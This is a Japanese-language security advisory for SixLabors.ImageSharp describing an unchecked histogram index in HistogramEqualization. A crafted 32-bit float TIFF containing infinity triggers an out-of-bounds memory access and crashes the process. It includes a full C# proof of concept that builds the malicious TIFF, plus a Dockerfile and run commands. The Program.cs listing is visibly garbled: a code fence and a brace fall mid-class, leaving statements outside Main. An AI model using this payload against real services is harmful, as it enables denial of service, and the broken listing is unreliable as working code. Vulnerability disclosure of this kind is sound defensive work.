ImageSharp: `HistogramEqualization` は、検証されていない輝度値をチェックされずにヒストグラムのインデックスとして使用する。
### 概要
`SixLabors.ImageSharp` は、アプリケーションが攻撃者によって提供された32ビット浮動小数点形式のTIFFファイルを `Image<HalfVector4>` としてデコードし、`HistogramEqualization()` を適用すると、プロセスを終了する可能性がある。 IEEE規格の正の無限大を持つTIFFファイルのサンプルが、バージョンによって異なるが、非有限値または範囲外の値を持つ `HalfVector4` コンポーネントに到達し、ヒストグラムの均一化処理において、輝度に基づいたヒストグラムインデックスを計算する際に、その結果を検証せずに、安全でない範囲外へのアクセスを引き起こす。
このレポートでは、`HistogramEqualization` の脆弱性のみを対象としています。 適応ヒストグラム均一化やオートレベル機能については言及していません。
### 影響を受けるパッケージとバージョン
- パッケージ: `SixLabors.ImageSharp` (NuGet)
- 影響を受ける範囲: `>= 2.0.0, <= 4.1.1`
- コミット `0815358f9202a78bc7f3b83e19282dc3654b500f` は、バージョン **v4.1.1** に対応する。
TIFFのデコード機能は、v2.0.0 で初めて実装されました。 v1.0.4 にはTIFFデコーダーはありません。 輝度から派生した安全でないヒストグラムインデックスは、v2.0.0 から v4.1.1 までのバージョンに存在します。 正の無限大を持つTIFFファイルを用いたPoC(概念実証)により、公開されている v2.0.0、3.1.12、4.0.0、および 4.1.1 のバージョンで `AccessViolationException` が発生します。 一方、有限値である `0.5` を使用したテストでは、すべてのバージョンで正常に完了しました。
### 詳細
[`ColorNumerics.GetBT709Luminance`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Common/Helpers/ColorNumerics.cs#L24-L30) は、有効なヒストグラムインデックスにマッピングされない輝度値を生成する可能性があります。 その後、[`GrayscaleLevelsRowOperation.Invoke`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Processing/Processors/Normalization/GrayscaleLevelsRowOperation%7BTPixel%7D.cs#L47-L62) が、その結果を検証せずに、ヒストグラムへの `Unsafe.Add` オフセットとして使用します。
この脆弱性は、公開されている `HistogramEqualization()` 拡張機能を通じて、このコードに到達します。 適応ヒストグラム均一化や `AutoLevel` のパスについては、テストも行われていませんし、言及もされていません。
### テスト環境
再現には、公開されている NuGet 4.1.1 パッケージに含まれる DLL が使用されます。
```text
SixLabors.ImageSharp.dll SHA-256:
c50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f
ランタイム: .NET 8.0.30 (linux-arm64)
SDK: 8.0.424
OS: Debian GNU/Linux 12 (bookworm), Docker
```
### 再現手順
提供された Dockerfile を使用してビルドし、エクスプロイトを実行します。 テストプログラムは、正の無限大のサンプル値を持つ、有効な 8x1 の非圧縮 32 ビット IEEE 浮動小数点 TIFF 画像を作成し、公開 API を介してデコードし、`HistogramEqualization()` を呼び出します。
観察された結果:
```text
mode=exploit tiffBytes=166 sample=Infinity
decoded=8x1 pixel=<Infinity, Infinity, Infinity, 1>
致命的なエラー。System.AccessViolationException: 保護されたメモリへの読み取りまたは書き込みの試行。
...
at SixLabors.ImageSharp.Processing.Processors.Normalization.GrayscaleLevelsRowOperation`1.Invoke
...
at SixLabors.ImageSharp.Processing.HistogramEqualizationExtensions.HistogramEqualization
Docker の終了ステータス: 133
```
コントロールグループでは、サンプル値が `0.5` である点が異なります。
```text
mode=control tiffBytes=166 sample=0.5
decoded=8x1 pixel=<0.5, 0.5, 0.5, 1>
完了
Docker の終了ステータス: 0
```
同じエクスプロイト実行ファイルを、コンテナ内のシェル経由で実行すると、シェルは `Aborted` と表示され、ステータス 134 が報告されました。 上記の `docker run` コマンドの直接実行結果は、提供された Docker コマンドの実行結果です。
現在、アクティブなエクスプロイトは確認されていません。
### 完全な PoC ファイル
Program.cs:
```csharp
using SixLabors.ImageSharp;
using SixLabors.ImageSharp.PixelFormats;
using SixLabors.ImageSharp.Processing;
static class Program
{
private static void AddEntry(List<byte> ifd, ushort tag, ushort type, uint count, uint value)
{
ifd.AddRange(BitConverter.GetBytes(tag));
ifd.AddRange(BitConverter.GetBytes(type));
ifd.AddRange(BitConverter.GetBytes(count));
ifd.AddRange(BitConverter.GetBytes(value));
}
```
// 有効な、圧縮されていない8x1のグレースケールTIFFファイル。32ビットのIEEE浮動小数点サンプルを含む。
private static byte[] BuildTiff(float sample)
{
const int width = 8;
const int entries = 10;
const int ifdOffset = 8;
const int pixelOffset = ifdOffset + 2 + (entries * 12) + 4;
List<byte> file = new List<byte> { 0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00 };
List<byte> ifd = new List<byte>();
ifd.AddRange(BitConverter.GetBytes((ushort)entries));
const ushort Short = 3, Long = 4;
AddEntry(ifd, 256, Long, 1, width); // ImageWidth
AddEntry(ifd, 257, Long, 1, 1); // ImageLength
AddEntry(ifd, 258, Short, 1, 32); // BitsPerSample
AddEntry(ifd, 259, Short, 1, 1); // Compression = none
AddEntry(ifd, 262, Short, 1, 1); // Photometric = BlackIsZero
AddEntry(ifd, 273, Long, 1, pixelOffset); // StripOffsets
AddEntry(ifd, 277, Short, 1, 1); // SamplesPerPixel
AddEntry(ifd, 278, Long, 1, 1); // RowsPerStrip
AddEntry(ifd, 279, Long, 1, width * 4); // StripByteCounts
AddEntry(ifd, 339, Short, 1, 3); // SampleFormat = IEEE float
ifd.AddRange(new byte[] { 0, 0, 0, 0 });
file.AddRange(ifd);
for (int i = 0; i < width; i++)
{
file.AddRange(BitConverter.GetBytes(sample));
}
return file.ToArray();
}
private static void Main(string[] args)
{
string mode = args.FirstOrDefault() ?? "exploit";
float sample = mode == "control" ? 0.5F : float.PositiveInfinity;
byte[] tiff = BuildTiff(sample);
Console.Error.WriteLine($"mode={mode} tiffBytes={tiff.Length} sample={sample}");
}
using Image<HalfVector4> image = Image.Load<HalfVector4>(tiff);
Console.Error.WriteLine($"デコード結果: 幅={image.Width}、高さ={image.Height}、ピクセル値[0, 0]={image[0, 0].ToScaledVector4()}");
image.Mutate(x => x.HistogramEqualization());
Console.Error.WriteLine("完了");
}
}
```
プロジェクトファイル:
```xml
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<!-- 公開されたNuGet 4.1.1リリースによってパッケージ化されたDLLを直接読み込む。 -->
<ItemGroup>
<Reference Include="SixLabors.ImageSharp">
<HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath>
</Reference>
<Reference Include="System.IO.Hashing">
<HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath>
</Reference>
</ItemGroup>
</Project>
```
Dockerfile:
```dockerfile
FROM mcr.microsoft.com/dotnet/sdk:8.0
WORKDIR /work
COPY j3p4.csproj Program.cs ./
RUN printf '%s\n' '<Project Sdk="Microsoft.NET.Sdk"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /></ItemGroup></Project>' > fetch.csproj \
&& dotnet restore fetch.csproj --nologo \
&& rm fetch.csproj \
&& dotnet build j3p4.csproj -c Release --nologo -v quiet
ENTRYPOINT ["dotnet", "/work/bin/Release/net8.0/j3p4.dll"]
```
実行:
```sh
docker build -t imagesharp-j3p4-poc .
docker run --rm imagesharp-j3p4-poc exploit
docker run --rm imagesharp-j3p4-poc control
```
影響を受けるパッケージ:
- nuget SixLabors.ImageSharp: 影響範囲 >= 2.0.0, < 3.2.0、3.2.0で修正済み
- nuget SixLabors.ImageSharp: 影響範囲 >= 4.0.0, < 4.1.2、4.1.2で修正済み